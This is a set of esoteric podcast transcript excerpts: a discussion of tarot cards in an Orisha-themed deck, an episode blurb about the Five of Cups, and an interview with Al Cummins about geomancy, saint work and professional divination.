 SUSIE: And did you internalize all of those 256, 257 signs or was it, is it an ongoing study? How does that work for you?  ANDREW: There's no end to the study. [laughing] SUSIE: Right. [laughing] ANDREW: Like hermeticism. When do you know enough?  SUSIE: Oh, you never know enough. No no no … [laughing] Right. Okay. Well that's really helpful in terms of getting into the card. Are there any other majors that you'd kind of like to draw attention to before we look at minors?  ANDREW: No, I'm happy to take your lead. SUSIE: Great. And honestly I would like to go through every single card in the deck, and I was having a lot of trouble sort of singling out a few that might be interesting to talk about, but given our time constraints, we'll just focus on some. I was looking at … the Nine of Wands, we're kind of going in order here, Nine of Wands [static at [01:04:39] see in this card, it's so interesting, because as I understand it, from your story, this is a representation of Yamaya, or one of her avatars I guess … ANDREW: Yeah. SUSIE: And there's a shipwreck, or an underwater ship, and [static] got a knife, and the knife has clearly just been used. So, maybe you can tell us a little bit about that.  ANDREW: Yeah, I mean, one of the things that people … In making the deck, I wanted to disrupt people's preconceived notions, right?  SUSIE: Mm-hmm. ANDREW: Of certain things. You know, like people, it's common for people to say, yeah yeah yeah, if you want love, go and talk to Ochún. Right? And Ochún will help you find love.  SUSIE: Mm-hmm. ANDREW: He might, it's possible, but sometimes [inaudible] Ochún in what context and so on and so on, right? But you know, Ochún also doesn't really dig people complaining very much, it's not a thing that she's really that into … SUSIE: Mm-hmm. ANDREW: So, depending on the attitude that you're feeling about this, Ochún might also be irritated by you approaching her about it, it's very hard to say.  SUSIE: Yeah.  ANDREW: Which is why, you know, traditional practitioners divine, right?  SUSIE: Right. ANDREW: Because the good answer is, in traditional divination, any Orisha that offers to help you with a problem can help you with that problem.  SUSIE: Right.  ANDREW: Whether we sort of generally associate that with being their purview or not, doesn't really matter, because if they say they're gonna help, they're gonna help, and you just say thank you, right?  SUSIE: Right.  ANDREW: And, so when we think about Yamaya, people think about Yamaya as a sort of loving mother energy, as a sort of always supportive energy, right? You know?  SUSIE: Mm-hmm. ANDREW: We really sometimes people are sent to work with her when they need sort of grounding and stabilizing of emotions … SUSIE: Yeah.  ANDREW: But, you know, Yamaya also has many roads and many avatars, right? So we're talking about, you know, Obu Okotu, it's not gentle, she's really a lot more like a shark, right?  SUSIE: mm-hmm. And so, you know, the idea, the thing that people often say, is that when the ship wrecks, she grabs the sailors and takes them down to their fate, right?  SUSIE: Yeah.  ANDREW: And so there's this real sort of show of strength and power with her that isn't what we would normally associate with it, but which is 100 percent a part of her personality, or at least her personality on that path, right?  SUSIE: Right. And I actually thought that this was … You know, the more I thought about it, the more it tied to my own understanding of this card. I mean when I think of the Nine of Wands, I think of someone who has been derived their strength from the vicissitudes of life, from the experiences of having suffered and having learned.  ANDREW: Yeah. SUSIE: And I think that … I also think of it as a very lunar card, so that made it kind of feel familiar to me as well. But also, the fact that power has a personality and ruthlessness to it, as well.  ANDREW: Yeah. Yeah. Yeah, I mean the Nine of Wands often turns up to speak of people who are strong clear incredibly competent, and sometimes hard for other people to relate to because of those things, right?  SUSIE: Yeah. They've been through a lot.  ANDREW: Yeah, for sure.  SUSIE: Yeah. Okay. Fascinating. And plus, it's just beautiful. You see the body of Yamaya, but at first you may not even recognize that it's a human form because of the blue on blue, it's a very underwater card. Yeah. Yeah. Okay. Looking at -- Oh, you know, one of my favorite cards of all is your Ten of Cups. And, which I did receive this week, once, and what I love about it is the story that goes along with it. So maybe you could talk about that a little bit.  Sure. So when we were talking earlier in the podcast about picking your Ore or picking your destiny, right? This card represents that process, right?  SUSIE: mm-hmm. ANDREW: You know, when everybody's hanging out in Orun, up on the other side, you know where we're all spirits, eventually, people for whatever reasons decide it's time to come back to earth. You know, decide it's time to come back down here, you know, to the marketplace, to hang out and party, to fulfill something they haven't fulfilled, whatever it may be. And when they make that decision, they go, as my elders described it, you go down the hall to this room where Adela, who is the Orisha who crafts these destinies, as a series of sealed gourds … SUSIE: And that's the picture that we see on the card, we see Ajala with the gourds.  ANDREW: Yeah, I mean I think of it more as a person choosing their destiny. SUSIE: Oh, I see! ANDREW: But maybe.  SUSIE: Could be.  ANDREW: Adula, as far as I know, I've never come across any personifications of them … SUSIE: So this, so in your mind, this was the soul choosing which one. ANDREW: But, and we don't have a sort of super clear sense of karma or carry over from one life to another. It's not really … it's a mystery that we acknowledge that we don't fully understand, right? So you go into a room full of sealed gourds, and you pick something, and you really don't know, it could be horrible, right? It could be great, whatever. But if you've been good friends with Elegua, you know, and you've kind of kept good faith with him, maybe you reach out for something and he gives a little cough and says hey, not that one. SUSIE: [laughing] ANDREW: Don't take that one. Right?  SUSIE: And I love this that you have this little sketch of Elegua under the table, you know, very quiet. Very subtle. Yeah. [laughing] Just giving you a hint.  ANDREW: Yeah. So once you pick your destiny, you go back and see your creator, and then your soul goes into a body.  SUSIE: And you can see in the background of the card, you can see the outline of the Earth, so this idea that you're outside the material realm at that moment, choosing your fate, yeah, mm-hmm. I think that's just really beautiful. And I think it's quite relatable to, you know, in a traditional sense to the Ten of Cups, which I at least think of as the end of a cycle, you know, I often think of it as the end of the complete sequence of minors in some ways, because if you go through correspondences it immediately precedes the Two of Wands. But there's also this feeling, you know when you see the family on the Rider-Waite-Smith Ten of Cups, of this sort of being, they're taking a bow. This destiny is finished! And we're looking towards the next.  ANDREW: People … the belief is that people tend to reincarnate along family

...in which we brace ourselves for Disappointment and, if that's not enough, Loss in Pleasure.  In this first decan of Scorpio, Mars rules thrice over - governing the decan, the sign (in classical rulership schemes), and the number 5. His fiery ferocity unleashes a searing wind over the watery suit of cups, blasting everything in its path.  The Tower meets Death, and devastation ensues. In this conversation we talk about the phases of death - the violent curtailment, the freeing of the spirit, the new growth that follows.  We consider the five rivers of Hades, the thinning of the veil, and emotional severity.  We consider marriages and legacies, hungry ghosts, mourning, love and loss, fish, pentagrams, and the dire geomantic figure known as Rubeus.  It is a perilous journey! but fear not - we're right there with you all the way. To learn more about the suit of Cups, the world of Briah, the war gods of Geburah, the color schemes of the cards, and so much else, be sure to visit us at www.patreon.com/fortuneswheelhouse. You can also shop for Fortune's Wheelhouse T-shirts, mugs, backpacks, stickers, and more! at our RedBubble shop.

This week I'm joined by the wonderful Dr. Al Cummins. We chat about his beginnings in spirit work, what led him to the saints, and we also get into his Geomancy work.  Connect with Al through his website and be sure to check out his awesome tumblr as well. We are also proud to carry his new book A Book of The Magi and Cypriana: Old World which he is featured in.  If you are interested in supporting this podcast though our Patreon you can do so here. If you want more of this in your life you can subscribe by RSS , iTunes, Stitcher, or email. Thanks for listening! If you dig this please subscribe and share with those who would like it. Andrew   If you are interested in booking time with Andrew either in Toronto or by phone or Skype from anywhere click here.   Trascription   ANDREW: So, welcome to another episode of The Hermit's Lamp podcast. Today, I am on the line with Al Cummins, and I've been following Al's work for some while now. I've been looking at his look at geomancy, and I've been following some of his work on saints and other things, as well as a bunch of collaborative projects that he's done with people who I hope will certainly be future guests of the show as well. So, but, in case people are just coming to this discussion and don't know who you are, Al, why don't you give us a quick introduction? AL: Sure, sure. Hello! Well, firstly, thank you for having me on; it's great to get to finally chat to you. ANDREW: Yeah, my pleasure! AL: My background is kind of one of those dual forking pincer movement things of academic training in the history of magic, which I did through the University of Leeds, and then did my doctorate at the University of Bristol and Professor Ronald Hutton about early modern British magic primarily, but some wider European influences as well. It's inevitable when you're talking about Renaissance magic that you're going to bring in, you know, the big guns of Heinrich Cornelius Agrippa and things like that, so obviously there's a Continental influence going on there. And my other, you know, the other prong of that two-forked pincer movement, is I've been a practitioner and a diviner and a consultant sorcerer for a number of years and I love the interplay of the two, as I'm sure many of your listeners do as well. That false dichotomy that is often set up between those that just study and those that just do, and I've never met a serious magician who wasn't also someone who had made a real effort to learn about his or her field and be up on the current academic research. Likewise, in academic conferences, it's often, after a couple drinks, you know, people are a lot more … looser and willing to talk about what they've actually tried and things like that. And so, I like existing in that kind of gray place between being both a practitioner and a scholar of this stuff. ANDREW: I think that that … I mean, it's kind of one of the … I mean, maybe it's been a plague of every era, but I feel like it's especially a plague of the modern era, or the time in which we find ourselves. AL: Mmmhmm. ANDREW: This sort of duality or multiplicity between things, you know? AL: Mmm. ANDREW: I remember trying, I periodically go through these sort of journeys [static 00:02:36 through [00:02:44] when I talk about how I talk about that. A sort of bridge of divination, philosophy, psychology, you know, and magic, you know? AL: Right! ANDREW: To me, they're indistinguishable from each other when we look at them as a whole. And we can draw lines in different places, and that can be functional, but to me, there's no division between doing a piece of magic and talking about somebody's psychology or thinking about somebody's psychology as it's involved. You know? AL: They certainly don't have to be mutually exclusive. And one of the things I like to riff on when we're talking about … I was asked recently to talk … whether I subscribed more to a spirit model or a psychological model, and I kind of did that classic attack the question thing of refusing to ally with one or the other, based off the fact that, you know, psychology, psychiatry, these are both, as far as I'm aware, 15th century French terms. It is not anachronistic for us to look at the magic of the 16th and 17th centuries as being something that combined an understanding that there were spirits and there was also pyschology, and that someone who was mentally unwell in some way, or had an impairment of mental or cognitive or emotional faculties, might also attract spirits who might haunt them. Likewise, the Devil could work through, if you read these heresyographies, could work through the agency of madness, and induce it. And so, rather than producing this very simple set of straw men of either at all in your head, or at all the actions of spirits, or energy, or however you want to frame your model of quote unquote objective magic. Big heavy scare quote fingers there! [laughs] You are inevitably bringing in an aspect of both, so one of the most famous spiritual physicians, kind of a cunning man, certainly an astrologer physician, an angel summoner, and magician, Dr. Richard Napier of the mid-17th century, who was regarded as an expert in the impairments of mental faculties, people came from a long way away to work out whether ... you know … would ask him to work out whether or not the patient was possessed, haunted, under the influence of witchcraft, or the ministrations of the Devil himself, or was physically unwell, producing brain disease symptoms, or was mentally unwell after dealing with a trauma of some kind, or any combination of those factors, right? ANDREW: Mmmhmm. AL: These were not mutually exclusive things. And in fact, you know, often if you were suffering from one, you would probably start to develop the symptoms, at least, if not the underlying pathologies of the others as well. And so, one of the ways Richard Napier worked around this was divination through both astrology and geomancy, and also through summoning the Archangel Raphael, who he seems to have had a very very close relationship with, and ... [laughs] Such a close relationship! On the one hand, people like William Lily, one of the most famous astrologers of the 17th century and John Aubrey, who was a sort of Fortean of his time, helped repopularize Stonehenge and things like that—both of them visited Napier relatively frequently, apparently, or at least several times, and remarked that he would go and had an angel closet of some kind, which was not an uncommon way of these practitioners to do their thing, apparently, and would, you know, stand there and invoke angels for an hour or two, and then go and do his consultations. But the thing I like pointing out about Napier is that such was his close relationship with the Archangel Raphael that he would call up the medicine of God to do these kind of consults for him or these referrals, and frequently disagree with the angel's diagnosis! [laughing] Which I love! This is not someone who is an iconoclast, he's not doing this to like, you know, raise a middle finger to God or anything. He was regarded as an incredibly pious practitioner, but I think that's an interesting set of relationships in terms of how to navigate a spirit and psychological model and also use spirits to investigate that and to not necessarily believe everything of the signal that you are given, right? Or everything of the noise that you are given? To be able to discern which parts of that seem more sensible than others. ANDREW: Well, I think that, I mean there are a couple ... There's a bunch of things now that you say that are really interesting. But let's talk about the first one first, which is, I think that it's something that is unfortunate, and it doesn't seem very common these days, is this sort of capacity to differentiate or understand the distinction between what might be spirit … purely spirit ... I mean, as you say, it's a muddle, right? AL: Mmmhmm. ANDREW: But what parts of it, or in what ways might we be able to discern, is this a spirit-caused situation? Is this a psychiatric-caused, you know ... or all these other models that you talked about? You know? And it's one of those things where, I remember working with clients and sort of receiving instructions from the spirits that I work with about how to interpret what I see as their energy ... AL: Mmm. ANDREW: ... in ways that point between these different pieces, right? AL: Mmmhmm. ANDREW: ... who have this certain kind of energy pattern ... You know, they would more often than not have these more psychiatric issues or so on ... AL: Yeah. ANDREW: ... unless [laughs], unless, they were like super hard core meditators and really really evolved ... AL: Hmm. ANDREW: ... at which point those patterns would kind of merge, you know, which was always very interesting to me, you know? AL: That's fascinating. ANDREW: There might be ways in which people had, you know, like, people talk about premature kundalini awakenings or, you know, other kinds of things, that there are these states that might be helpful later on ... AL: Hmm. ANDREW: But which, when they emerge unbidden or they emerge alongside other kind of things just cause tremendous problems, you know? AL: Right. And that's interesting from a perspective of a consultant and a diviner for someone, and for clients, especially, where, you know, you have identified the pattern of energies at work, it's now, often, I find, your job to find a way that that's useful, right? ANDREW: Mmmhmm. AL: Which I think is ... you know … sometimes, the useful thing is to say, that would be a decision that would end in rack and ruin, it doesn't look like it's going to help you, right? Or, it's ... I mean, I read with geomancy very often for clients, so—I primarily read playing cards and geomancy these days, and there are figures that can fall that portray danger, deceit, the potential for addictive behaviors, and a variety of other overly impassioned vice kind of like problems. And it's … the figure is Rubeus, and refers to the spilling of blood. It's considered bad for all things except that which requires bloodshed. Now, that means from a medieval/early modern perspective, it was good for phlebotomy, and it could occasionally be useful for voiding ill humors through that bloodletting stuff, and there are kind of some equivalencies that you can find, like nowadays, other kinds of … it can recommend going to see your doctor, that kind of thing. ANDREW: Mmmhmm. AL: But finding a way for Rubeus to do something useful in a chart ... if it's spilling something, you know, I have before now found myself having to take a bottle of red wine to a crossroads and upend that, as a means of, like, placating a spirit or working through a set of very martial energies and workings, for that to be useful. That set of virtues, that pattern was present once the divination confirmed it, and especially with the attendant spirit contact around it, it was also bringing that thing in, right? And so, finding a way that that's useful in some way, to be either the thing that is subject to it or the thing that is enacting it in the world, finding a way for that violence, in this case, to be useful in some way, to break an old pattern or to stand up to someone or any number of those other things. ANDREW: So, when people come to you for a geomancy reading, are they people who are going about their lives and are just inclined towards divination? Or do you find that it's people who are sort of inclined towards more, I don't know, for lack of a better word, sort of esoteric or kind of occult and philosophical kind of approaches to life already? AL: Yeah, I wonder that myself sometimes. I think a materialist overculture, if I can, you know, briefly jump on a soapbox, produces a statistical slide towards people who are already aware of magic and, you know, think it's worth paying a professional to divine for them. So, often there's someone with some kind of practice or some kind of set of beliefs, or even just, you know, have witnessed things happened or have had experiences that lead them to suggest that there's something valid for them in this. I get a range of people. I get some people who are, you know, some of my clients are, you know, classic people seeking divination, at a crossroads in their life. You know, recently divorced, or wanting to change career, or wanting to do something different at that crossroads? I also work with a lot of artists and event coordinators and things like that to plan events and ritual and ceremony and works of art, as well, and it's something that I like to point out to people who are, use the idea of a professional diviner or consultant being someone that would be useful to have on board a project, which is that this doesn't have to be, in much the same way that other magicians talk about magical work, doesn't have to be triage, doesn't have to be "oh god oh god oh god, emergency emergency, I need to, you know, pay my rent," or something. Those are valid things … ANDREW: Sure. AL: … to get help about and to need to deal with, but so much better is prevention than cure, right? ANDREW: Well, I, you know, not to say that we might not find ourselves in a martial sign that requires some kind of bloodletting or other kind of, you know, easing but, yeah, but if we're on top of it, on the regular ... AL: Right. ANDREW: You know when the thermometer starts to rise, we can deal with it then, before it kind of gets too high, right? AL: Yeah, yeah. Yeah. And so, you know, I find divination and consultation something that I end up doing for people who are not necessarily looking to massively change their lives as much as enrich them, right? It's not just people who are unhappy and it's certainly not just people who are desperate, which I think is also a little kind of … It's a bugbear of mine that, the idea that you would only ever consult, you know, a card reader or a professional astrologer if you were, like, desperate in some way, and I think that's a very unfair characterization of ... ANDREW: Mmmhmm. AL: ... people. Most, you know, the vast majority of my clients are people who take their divination very seriously, who employ it in a very mature and responsible manner in order to have better … to … rather than abnegate responsibility, to take that responsibility on more, and that's, you know, the role of a diviner, right? Is someone that can help someone chart the hauling coherence of influences around them, and empower them further, to be able to make better decisions and live their better life, right? ANDREW: Mmmhmm. And especially, I mean, to kind of come full circle here, if the people are dealing with a muddle of unknown problems and consequences, you know ... AL: Mmm. ANDREW: ... from spirits to mental health to physical health to whatever ... AL: Mmm. ANDREW: ... being able to sort that out, if the person is willing to take ownership of that and work with it, and go from there. I mean, that can be one of the most profound things ever, right? You know? AL: Absolutely. ANDREW: You actually can remove this spiritual influence, and then what you're left with, you know, while still no small thing, is then adjustable by other realms, you know, or other practices. AL: Yeah. ANDREW: You know? It's really, it's quite wonderful, you know, and .... And sometimes even knowing just, you know, knowing that it's in fact none of those, it's like, "Hey, you know what? This is not a spiritual thing." AL: Right. ANDREW: "Let's go back for this, you're good," you know? And that in itself is quite a liberation, because it gives an answer, even if it's, you know, even if then it leaves other questions, right? AL: Yeah, exactly, yeah! And it's also, you know, one of the things about divination as diagnostic technique is that it's bespoke, right? It's for that individual, at that particular time in their lives, with these particular choices and influences and patterns of virtue around them, right? So, it's by necessity a site-specific, time-specific, person-specific thing. It deals with … there is a ritual that is going on between diviner and client there. You are locating the client as a locus about which these forces are present, right? And in naming them, we are also kind of bringing them to light in some way and apprehending them in some way ... ANDREW: Mmmhmm. AL: ... and that hopefully becomes useful as well. And this is especially useful when diagnosis becomes not just prognosis but also an attempt at treatment and remediation, magically speaking, which is something that I think is very important, is not just telling someone, "this is the nature of your circumstances and conditions, good luck with that" [laughs], and signing out, so much as saying, "okay, well, you know, this is the difficulty in your career path at the moment. Let's see whether we can boost the positive influences that say that yes, there is a path for you in this career," for instance, for that kind of question, and also, "let us try and address this issue here in the tenth house with your current boss, who is clearly attempting to undermine you in some way," right? So, you can look at both the negative factors and attempt to rebalance them or address them, or secure the positive factors of the reading as well. And I think it's very easy for us to jump immediately on our, you know, cleansing baths and things like that when a reading comes up negatively, and, as well we should, but to kind of not think we need to do anything if a reading suggests that there is a good path ahead, and something I, you know, I sometimes recommend is, you know, if you get a really great reading, you should secure that in some way. Right? You should nail that thing down, and, like ... ANDREW: Yeah. AL: Keep that good luck in your pocket, in some way. ANDREW: Well, it's like in cowry shell divination, and divinations within the Orisha traditions, right? They say that the Iré, the form of blessing that can arise ... AL: Mmmhmm. ANDREW: That it is, that it can be tremendously fleeting, right? AL: Right. ANDREW: And that in fact, you know, when we see that come, when we see that there are blessings, and especially if they're sort of predicted firmly and there's nothing else to do about it … Well, the thing to do about it is still to be, like, diligent and tend it and pay attention to it … AL: Yes. ANDREW: … and, you know, and maybe make offerings even though they weren't specifically asked for ... AL: Yes. ANDREW: ... you know, to do things, to really hold that and sustain that, because, you know, it can turn to negativity so simply and so easily, and then it's very hard to get it back where it was before. AL: Yeah. ANDREW: You know, so, this notion that success is permanent or solid is, you know, seems really kind of dubious to me at best, you know? AL: Right. It's not this carrot that gets dangled in front of you that says if, you know, you just put in another five years at something you don't like, then eventually you will have made it and that will be the solid state, unending success of a predeath bliss, right? It's a nonsense. Yeah, we constantly have to fight for our blessings, and to secure them. And, you know, what was that beautiful ... Obviously, it was terribly sad that Ursula Le Guin passed recently, but it did mean that people were sharing a lot of her work, and her quotes, and that one about love seems particularly relevant here: "Love does not sit there like a stone; it must be remade constantly like bread." Right? The idea of constantly having to keep up the good things, the effort to enjoy the things in life and to enjoy each other. ANDREW: Mmmhmm. Yeah. It never ends, right? AL: [laughs] Hmm! Right, right. ANDREW: Well, actually it ends. But then it really ends. AL: [laughs] ANDREW: So, the other thing that you mentioned earlier when we were talking was this idea of arguing with spirits, you know ... AL: [laughs] Right! ANDREW: ... You know, a person who would argue with the, you know, with the angels, and so on, right? And I think that it's such an important thing for people to consider, right? You know? Like, especially, you know, I mean, whether we're talking about ancestors, or whether we're talking about angels, or you know anything else or in between or wherever other ways, you know. It's … I think that, sort of, being open to wrestling with them about things, and you know, tussling out what is true or what's the real deal, you know ... And I don't mean, like, in the goetic way, like, "No, I'm not going to give you that, I'm only going to give you this." AL: Mmmhmm. [laughs] ANDREW: ... "Don't take advantage of me." ... AL: [laughs] ANDREW: But just, you know. I know that there are times, you know, in, like, spiritual masses, or with one of my guides in particular ... Well, she'll come down with a message and I'm like, "Dude, I'm not saying that!" AL: [laughs] ANDREW: "There's no way I'm saying it that way!" You know? AL: Right, right. ANDREW: And yet, people, you know, I think that, you know, there's lots of ways in which people believe that they should, you know, pass this along as like a pure testament of truth … AL: Right. ANDREW: … or the unequivocal goal of the situation, right? AL: Yeah, being, the idea that being a channel for spirit means that you don't have to worry about tact, or bedside manner, or, you know, offending people, that you are speaking a profound and unquestionable universal truth, yeah. I … I'm obviously a bit tedious at that, especially in divination. Certainly, I can share the experience of having a familiar spirit that helps me divine that says things in my ear in ways that I definitely wouldn't say to a client! Very blunt, shall we say … Mmmhmm! AL: … if not mean, occasionally! ANDREW: Yeah. AL: You know, also savagely accurate, to her credit. But yes. So, that again is a job of a diviner, right? To demonstrate that tact and that clarity that allows the best way for the medicine to be administered, right? The medicine of the consultation, the medicine of the regimen that might emerge from that, the story medicine, of, like, "this is how your current situation looks, the potential medicines, so this is what you could do about it," and, again, to evangelize about geomancy, for instance, one of the things that we can do is not just look at the clients or the person asking the question, the querent in the first house, we can also look to a couple of different houses depending on the exact nature of the context of the consultation, for how the diviner, how you, are being perceived, and crucially through those two things, you can then work out one of the best ways ... You can look at how the client will take your advice. You can look at how you can phrase it, you know? And so, you can read a chart and have attendant spirit guides saying, "You're going to need to phrase this very gently, this client is not going to be able to take you, you know, speaking plainly about this thing." Likewise, sometimes it's clear that you have to be incredibly blunt, and that that's what will be most useful, and if you aren't, then the client will jump on the one detail that they wanted to hear and ignore the other ones. And that's, that is in part, it's very easy to complain about quote unquote bad clients, but that's also something that I think diviners need to take a little bit of responsibility for. It's not just your job to plunk a message down in front of someone. It's also your job to, I think, help them unpack it and make it available and useful, and something that they can actually apprehend and engage with. ANDREW: Yeah. I also think that it's ... It can be part of the job of being a professional diviner to sort out and be clear with yourself, who do you not work well with, right? AL: Right. ANDREW: You know, who do you just not, who do you not like? What situations do you not want to, you know, deal with? Right? Like, you know, where are your strengths and weaknesses, you know? AL: Mmm. ANDREW: And not in a like, you know, a mean-spirited or even judgemental way, but like, well, are there certain kinds of situations where, for whatever reasons, I have no slack for that. AL: Right. ANDREW: And if the person comes up with that, I'm, you know, I might read for them, but I'm definitely not going to get magically involved in it, because my attention and my energy doesn't flow well, in those, because of that, you know? AL: Yeah, yeah. ANDREW: And I think that we as diviners can take way more agency in the process than I sometimes see people taking, you know? AL: Hmm. Yeah. I think so. Hmm. ANDREW: So, the other thing that I wanted to ask you about, though, the thing that I was curious about that's been sort of on my mind of what we would get to when we were on the show, was, so there's this great big revival, in my, from what I see, of working with saints these days. AL: Hmm. ANDREW: You know, and I see like lots of people, in the various spiritual and occult communities, kind of going back to working with saints and sort of having a magical relationship with them and those kinds of things. And, you know, you're definitely one of the people out there doing that work. Right? AL: Mmmhmm. ANDREW: Were the saints always your companions? Or some saints? Was it a thing that you rediscovered? How did that happen for you? AL: Mmmm. Hmmm. Well. That's the great question. I did not grow up practicing Catholic. My family are Irish Catholic by birth lottery, as they would put it, and certainly in my house, my folks, these days, kind of agnostic, but certainly when I was growing up, fiercely, devoutly, socialists, atheists. But, as a result of the kind of family that I grew up in, we would be taken round an awful lot of churches and historical houses and manna houses and national trust properties and that kind of thing, partly so that my father could sit there and, or stand there and ask, you know, how many workers do you think died to build this structure? So , my early engagement with high churches and that kind of stuff was very much of a sense of like, there are a lot of dead people underlying this thing that still exists ... ANDREW: Mmmhmm. AL: And that certainly still informed how I approach saint work, in terms of, or saint devotion, I should say, really, in terms of how long it's been an active part of my practice. Certainly, learning from my great grandmother, before she passed, that there was a set of Irish naming traditions in the family, that there was a particular reason why ... [laughs] "Your middle name is Joseph, Al! Because you're named after your uncle Harry, whose middle name was also Joseph," as an example of this kind of thing that was done. It's like the whole idea of first born will be called this, second born will be this, third will be this, but then we also include what happens when they aren't all male and a variety of other circumstances. So, there were naming traditions I discovered, and, in attempting to understand my great grandmother, who was a remarkable woman, in terms of being a tiny little Irish Catholic lady. We'd no idea exactly how old she was. She ... Her father bribed the village clark to lie about her age so that she could come over to England and train as a nurse earlier. So, we're not entirely sure how old she was. But she was a devout Irish Catholic, set the table for dead relatives occasionally, certainly spoke about them like they were there, and also taught pranayama yoga for about 45, 50 years, and was a very early adopter of that in Woolhampton, in the U.K. So, she was an interesting and odd lady, and so, certainly trying to understand her through these two practices of, like, you know, rich dense energy kind of work and breathwork stuff and all the things that pranayama is, and this intense devotion. You know, she would talk about, you know, I would ask her, “how do you square these things?” And she'd say, "Well, I just don't tell the priest." [laughs] "It's not his business. I make sure I'm doing my breathing next to a pillar, so if I do pass out, then, you know, I won't cause a fuss..." ANDREW: Uh huh. You'll wake up eventually, so it'll be all right. AL: Yeah. Exactly. And, you know, "I see a sanctifying mass, and this opening effect of that, and I want to be as receptive as I can to that, so I open myself up as much as I can, and then I zip myself back up, and I go about my day." And so, that was very inspiring to me, and my earliest set of actually practicing things, rather than just reading Crowley or whatever else, was chaos magic. The idea of it not all having to fit into one cosmology, that you could do several things, and that that, you know, there wasn't even a negative capability of that, that you could have … you could be a Catholic who did pranayama. Obviously, you could do those things, but the idea of mixing spiritual traditions, or at least parallel practice of them, was an influence. I think the first set of things that I ended up doing more formally, in terms of what felt like magic, rather than what just felt like, you know, going to a Saint Stevens church and, you know, enjoying the peace and quiet, and taking on the aspect of seeking calm, and that kind of thing … The first sort of work that was like, all right, I have this saint in front of me, and all sorts of incenses, and I'm trying to work a spell with him, was Cyprian. AL: Oh, right. So, the first spellwork, shall we say, I did with a saint was after I was recommended to work with Saint Cyprian of Antioch. I made a sort of pilgrimage for a birthday to California to a particularly famous hoodoo candle store and came in and was just beginning my doctorate and so asked, you know, "What would you advise?" of the owner, "What would you advise that I take on in terms of a candle or a spell?" You know, I wasn't looking for, I wasn't shopping around for a patron. I was just wanting to work a particular thing, an academic success kind of ongoing working. And, you know, she asked, "Well, what is it that you're doing? What's the nature of this research?" And after I'm telling her, it's about the history of magic, she says, you know, "Well, obviously you should be buying this Cyprian candle, and this is how you can work it," and fixed it front of me and showed me some of the bits and pieces and showed me a couple of other things as well. But that was the start of, yeah, a relationship that's only deepened, where, yeah, my ... And a variety of things occurred after that. Again, saint work is very tied to ancestor work for me, and certainly the dreams I had after I started working with Cyprian, of ancestors coming to me, you know, proud that I was finally working with a nice Catholic saint ... ANDREW: [laughs] AL: ...Despite his hideous reputation, and rightly, you know, and justifiably so, he's not necessarily someone whose earlier history or career is particularly admirable or something that you would want to repeat in terms of selling the equivalent of roofies. But, nevertheless, they were delighted that I was even engaging with this stuff at all, on a more formal level, and that for me was one of the big ... Along with the fact that, you know, when I took things to him, they worked out the way I wanted them to, or they worked out for my benefit. Along with offering me a set of challenges of things to work on, of things to work through, was how it bolstered my connection to my ancestors. And ... ANDREW: And I find it's quite interesting how ... I mean, so there's the baseline layer of, like, "Hey, I need more money," or "Hey, I want success in my academic career," or, you know ... AL: Uh huh! ANDREW:... "...cause I'm hoping to have a baby..." or whatever the things are that people, you know, want and need that they go to saints for. But at the same time, I feel like you really kind of hit on something there, which is sort of the unexpected second level of that process, which is, you know, you go to them, and they're like, "Yeah, sure, give me a candle, and I'll do this thing for you, no problem," right? But if you stick around with them for a while, then they start, like, working on you, right? AL: Mmmhmm. ANDREW: They start tinkering with you in a way to bring out some kind of evolution or change or growth or ... you know? AL: Yeah. ANDREW: That's certainly been my experience, right? AL: Yeah, and I think this is especially the case when you start taking on a saint, not just as someone that helps you in a particular aspect of your life, but as a patron of your ... Either your main career, or even of all of your magic, and that's certainly ... Cyprian is one of those, for me, is someone I go to for any work I do for a client or for myself and when you allow a patron to ... When you allow yourself space in the container to allow a patron to hold space for helping you make decisions about things that aren't just, you know, "Oh, this is the saint I go to for money work," right? If you have a relationship with that saint in other aspects of your life, if you're going to them about, like, you know, asking for the clarity to be able to make a useful decision about, you know, a new relationship that's just started or something like that, you're giving them more space to be able to help you. Right? You're opening up more roads, if you want to phrase it like that, for them to, like you say, start working on you in ways. ANDREW: Yeah, and it's ... I think it's a very ... I think it's fascinating and a powerful way to go. And I think it's really helpful. And I also notice that a lot of people are very uncomfortable with being that open with spirits. AL: Hmm! [laughs] ANDREW: And with having that level of dialogue about everything that's going on in their life with spirits, right? AL: Mmmhmm. ANDREW: You know, there's, you know, I mean, there can be, a) a very sort of transactional relationship that people have, like, "I'll give you this, you give me that." AL: Mmm. ANDREW: But even if it's relational, there's this sort of, I don't know if it's a legacy of parenting issues in the West or whatever, but ... AL: [laughs] ANDREW: You know, there's this sort of, "Well, you know what, but they don't get to tell me how to live my life," right? AL: [laughs] Yeah. ANDREW: Do they not? Is that what's going on? Like I think about that with the Orishas. Do they tell me how to live my life? Not in the way people mean it, right? AL: Mmm. ANDREW: But certainly, in a way that most people would be relatively uncomfortable with. I'm going to hear their advice and do my best to live it all the time, because the space in the container that I have with them allows for that and allows, and makes things happen that otherwise would never happen separately, you know? If I was stuck in my head or in my sense of self too strongly. AL: Yeah. Yeah, yeah, for sure. And being able to discern what your head is wanting and what is useful for your life path is some deep stuff, right? And is going to require a different engagement than, you know, "How do I solve this current immediate problem," right? ANDREW: Mmmhmm. AL: "How do I live my best life?" is a different question, and requires a ... Yeah, my experience of being involved for a couple years in Lukumí Orisha worship is that, yeah, it's a very different ball game in terms of, you know, it's an established tradition with an actual priestcraft of actual work and learning. And that's not to say that other traditions don't also have those things, but the level of commitment, and of taking on good advice and attempting to live it every day, right? Is a really important thing, and something that other traditions when they do well, do very well as well. But that, if we're talking Orisha, that's been certainly my experience, is that that closeness is also, you know, rewarded with the calm and the coolness and the development of good character that we're attempting to achieve, to leave the marketplace of the world in a better place than it was when we got here, before we go back home to heaven. ANDREW: Yeah. And I also think that, like, it's also interesting that, you know, again, it's sort of part of the, you know, legacy of modern thinking in some ways, you know, this sort of idea that, you know, a saint or spirit might only kind of govern one limited aspect, and, while I think that that's certainly true of some classes of spirits, that their spectrum of influence or their … from a human point of view, is limited and you might want to keep it there ... AL: Sure. ANDREW: You know, these sort of relationships with saints and things like that, you know, this idea that you can be open to messages that are not necessarily within their, you know, official textbook definition wheelhouse ... AL: Right. ANDREW: ... is also very fascinating. You know, I started working with St. Expedite a long time ago. That's kind of part of my bridge from ceremonial stuff into African diasporic traditions, as a sort of, you know, a syncretism for other spirits. And then, when I finally sort of landed in my Orisha tradition and sort of removed all my stepping stones that had gotten me there, St. Expedite was the only one who stayed. You know? AL: Hmm. ANDREW: And he was like, "No, no, dude, I'm not leaving, no, I'm with you now." And I was like, "Oh, okay!" I didn't quite catch that distinction as it was going on. And then … But, by way of sort of the 